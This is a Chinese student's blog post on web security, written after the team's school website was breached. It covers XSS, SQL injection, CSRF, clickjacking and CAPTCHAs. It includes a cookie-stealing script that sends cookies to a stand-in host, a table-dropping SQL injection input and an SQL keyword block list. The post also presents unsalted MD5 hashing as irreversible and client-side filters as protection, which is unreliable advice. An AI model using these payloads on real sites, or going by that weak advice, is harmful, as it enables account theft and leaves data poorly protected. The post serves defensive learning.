摘要：這里就提及一下所推出的圖片驗證，目前已經(jīng)被很多人報道也是不安全的，攻擊者可以直接將圖片處理后丟入百度的識圖接口，返回的數(shù)值讓人驚訝。

之前忙于做各種事情，已經(jīng)很久沒寫過文章，最近接的一個學(xué)校的網(wǎng)站項目，近期被人用自動腳本攻破了（笑...），因為我們第一次做這種上線的項目，完全沒有意識到一些web安全的知識，所以就開始了緊急的漏洞補救和防護(hù)措施。所以我就把近期學(xué)習(xí)的知識總結(jié)下。目前我水平有限，只能做一個初級認(rèn)識，讓一些剛?cè)胄凶錾暇€的實際項目的同學(xué)能有所警惕。

作為這個網(wǎng)站項目組長，我是完全不知道這些安全隱患問題的，團(tuán)隊的人員也沒有研究過這些，所以造成了這個情況，因為我們是在校大學(xué)學(xué)生，確實學(xué)無余力來研究這些，希望對還未出社會的初學(xué)者提個醒。

我只會大概提及它的攻擊原理和預(yù)防方法，具體的實現(xiàn)和深入研究還請大家自行百度，因為只有真正需要用到才會去詳細(xì)了解，這里我只為web安全小白做知識掃盲。因為博主目前接觸最多的服務(wù)端語言是JAVA所以例子都從java web項目來講。

雖然我們目前做的是一個博客的小網(wǎng)站，但是以后無論是自己的博客還是實際的項目，都可以用圖片來提供外鏈，方便管理，如果你的網(wǎng)站訪問量很高啊，一天幾十萬幾百萬啊，我的天啊，這時候你考慮的就不是服務(wù)器空間夠不夠大，而是驚人的并發(fā)數(shù)啊，光是請求html文件（或其他）的鏈接就處理不過來了，哪還有多余的資源去讀取圖片啊，索性就把圖片存另一個服務(wù)器吧，給主服務(wù)器減輕壓力啊，于是圖床誕生了。

反射型XSS

它是通過誘使用戶打開一個惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：

http://a.com/a.jsp?name=xss

a.jsp將頁面渲染成下面的html：

Hello xss

這時瀏覽器將會彈出提示框。

這算是常見的一種方法，預(yù)防的話可以通過后臺編寫方法來攔截過濾到這些非法或有攻擊性的字符。

持久型XSS

持久型XSS將惡意代碼提交給服務(wù)器，并且存儲在服務(wù)器端，當(dāng)用戶訪問相關(guān)內(nèi)容時再渲染到頁面中，以達(dá)到攻擊的目的，它的危害更大。

比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪問該博客文章的用戶都會執(zhí)行這段惡意JS。

這個相對來說對我們開發(fā)網(wǎng)站來說不算重要，但是要小心攻擊者在你網(wǎng)站注入一些非法代碼，從而達(dá)到這個目的。

Cookie中一般保存了當(dāng)前用戶的登錄憑證，如果可以得到，往往意味著可直接進(jìn)入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：

首先誘使用戶打開下面的鏈接：

http://a.com/a.jsp?name=xss

用戶打開鏈接后，會加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲了以下JS代碼：

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代碼會向b.com請求一張圖片，但實際上是將當(dāng)前頁面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過程。

防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標(biāo)識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

輸入檢查
對輸入數(shù)據(jù)做檢查，比如用戶名只允許是字母和數(shù)字，郵箱必須是指定格式。

一定要在后臺做檢查，否則數(shù)據(jù)可能繞過前端檢查直接發(fā)給服務(wù)器。
一般前后端都做檢查，這樣前端可以擋掉大部分無效數(shù)據(jù)。
對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當(dāng)?shù)倪^濾，最好是在輸出時具體情況具體處理。

輸出檢查
對渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。

另外還可以使用一些做XSS檢查的開源項目。

SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來執(zhí)行而造成的。下面是一個SQL注入的例子：

String sql = "select * from user where username = "" + username + """;

像上面的SQL語句，如果用戶提交的username參數(shù)是leo，則數(shù)據(jù)庫執(zhí)行的SQL為：

select * from user where username = "leo"

但如果用戶提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：

select * from user where username = "leo"; drop table user--"

在查詢數(shù)據(jù)后，又執(zhí)行了一個刪除表的操作，這樣的后果非常嚴(yán)重。

博主本人的網(wǎng)站就是主要被SQL注入導(dǎo)致網(wǎng)站數(shù)據(jù)庫受損

防止SQL注入最好的方法是使用預(yù)編譯語句，如下面所示：

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不同語言的預(yù)編譯方法不同，但基本都可以處理。

如果遇到無法使用預(yù)編譯方法時，只能像防止XSS那樣對參數(shù)進(jìn)行檢查和編碼。

博主后面會貼出自己完善項目的檢測代碼，就是對網(wǎng)站可以進(jìn)行數(shù)據(jù)提交的表單的輸入進(jìn)行SQL語句檢測。

跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進(jìn)而構(gòu)造出一個偽造的請求，在用戶不知情的情況下被執(zhí)行?？聪旅嬉粋€例子：

如果a.com網(wǎng)站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：

GET http://a.com/blog/delete?id=1

當(dāng)用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內(nèi)容：

這時會以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。

驗證碼

CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗證碼則強(qiáng)制用戶與應(yīng)用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

referer檢查

檢查請求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。

Anti CSRF Token

更多的是生成一個隨機(jī)的token，在用戶提交數(shù)據(jù)的同時提交這個token，服務(wù)器端比對后如果不正確，則拒絕執(zhí)行操作。

作為了解，一般前面的攻擊都過了，就可以造成此類攻擊。

點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網(wǎng)頁上，誘使用戶在該網(wǎng)頁上操作，而實際點擊卻是點在透明的iframe頁面。

點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點擊劫持的防御

針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：

DENY： 禁止任何頁面的frame加載；
SAMEORIGIN：只有同源頁面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁面地址。

針對圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。

作為了解，一般前面的攻擊都過了，就可以造成此類攻擊。

我們負(fù)責(zé)的團(tuán)隊項目為學(xué)校網(wǎng)站制作，所以涉及到用戶輸入的地方都在后臺管理模塊，從后臺登錄界面開始就應(yīng)該做一些防護(hù)措施了。

function validate(value) {
    var pattern = /[`~!@#$%^&*()_+<>?:"{},./;"[]]/im;
    if (value === "" || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符！");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,",join,>,<";
    var sqlStr = str.split(",");
    var flag = true;
    
    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封裝的2個方法，用于返回布爾值來判斷是否通過。第一個為了過濾掉非法字符，第二個為了過濾有關(guān)數(shù)據(jù)庫操作的非法字符。

//password  Md5
    
        public static String MD5Password(String oldstr) {
     
            char hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
                    "a", "b", "c", "d", "e", "f" };
     
            byte[] oldbytes = oldstr.getBytes();
            
            try {
                
                MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對象
                
                md.update(oldbytes);// 初始化對象
                
                byte[] newBytes = md.digest();// 運行加密算法
                
                char[] newStr = new char[32];
                
                for (int i = 0; i < 16; i++) {
                    
                    byte temp = newBytes[i];
                    
                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
                    
                    newStr[2 * i + 1] = hexDigits[temp & 0xf];
                    
                }
                
                return new String(newStr);
                
            } catch (NoSuchAlgorithmException e) {
                
                return null;
                
            }
     
        }

通過在后臺對數(shù)據(jù)庫中，管理員的密碼進(jìn)行MD5加密然后存入加密后的字段進(jìn)去，在前臺通過加密前的字段輸入后在后臺進(jìn)行方法驗證，實現(xiàn)MD5加密登錄。防止數(shù)據(jù)庫的密碼被暴露查詢出來。加密后無法被反解密出來。

同前臺登錄一樣的檢測方法，因為我只負(fù)責(zé)前臺檢測，如果黑客繞過了我的檢測，就要進(jìn)行后臺對數(shù)據(jù)傳過去的值進(jìn)行檢測，這時候就是后臺人員的工作了。所以前后臺都要進(jìn)行這些字符檢測，但是后臺的責(zé)任要重一點，因為數(shù)據(jù)最終流向是在后臺服務(wù)器端，前臺只是初步防護(hù)而已。

目前驗證碼字符驗證已經(jīng)逐漸推出舞臺，但是有一些專門這塊驗證服務(wù)的第三方平臺，通過對驗證碼字符的不斷改進(jìn)和更新，對一些攻擊者來說還是有防護(hù)作用，但是個人或企業(yè)網(wǎng)站還是用的一塵不變的驗證方法的話，就很容易被攻擊成功。很多初學(xué)者都在前臺瀏覽器客戶端用JS進(jìn)行字符驗證，很容易被破解跳過。好點的就在服務(wù)器進(jìn)行檢驗，但是還是能被一些黑客經(jīng)過長期的經(jīng)驗發(fā)明的一些工具破解。
這里就提及一下12306所推出的圖片驗證，目前已經(jīng)被很多人報道也是不安全的，攻擊者可以直接將圖片處理后丟入google、百度的識圖接口，返回的數(shù)值讓人驚訝。

居然能把第二張圖識別為沙縣小吃，我是覺得目前的人工智能的圖像識別技術(shù)很厲害，所以要不了多久這種驗證方式也會被淘汰，除非不斷更新圖片庫。

滑塊驗證和12306的圖片識別驗證目前算是比較安全的驗證手段，滑動驗證的核心并不是簡單的拼接成功就可以過，所以也不是簡單的算一下偏移量就能破解。滑動驗證做的好的是通過采集你的滑動過程軌跡與服務(wù)器端的海量樣本進(jìn)行對比，區(qū)分人還是機(jī)器，用到了很多深度學(xué)習(xí)的技術(shù)，當(dāng)然市面上也有一些滑動驗證只是前端拼接就能過，大家還是要多多研究一下。

反正如果項目需要用到驗證碼這塊，不能考慮只在客戶端進(jìn)行JS驗證，客戶端的JS驗證有的前提下，還要把數(shù)據(jù)返回到后臺來進(jìn)行驗證，這樣可以大概率保證網(wǎng)站安全性，網(wǎng)站的攻防一直是持久的話題，沒有絕對的安全也沒有絕對的攻擊。推薦大家多嘗試網(wǎng)上的第三方服務(wù)商提供的驗證服務(wù)，這樣節(jié)省自己的精力來研究驗證漏洞以及頻繁的更新驗證方法。

在校期間第一次認(rèn)識到web安全重要性，目前只是初步的認(rèn)識，如果后面了解了更多相關(guān)的知識，會繼續(xù)做補充。關(guān)于hexo搭建的博客的技術(shù)應(yīng)該不會再出什么文章了，有需要了解其他的知識的，會有困難的可以聯(lián)系我或下方留言，然后看情況是否整理為一篇文章來集中回答幫助其他人。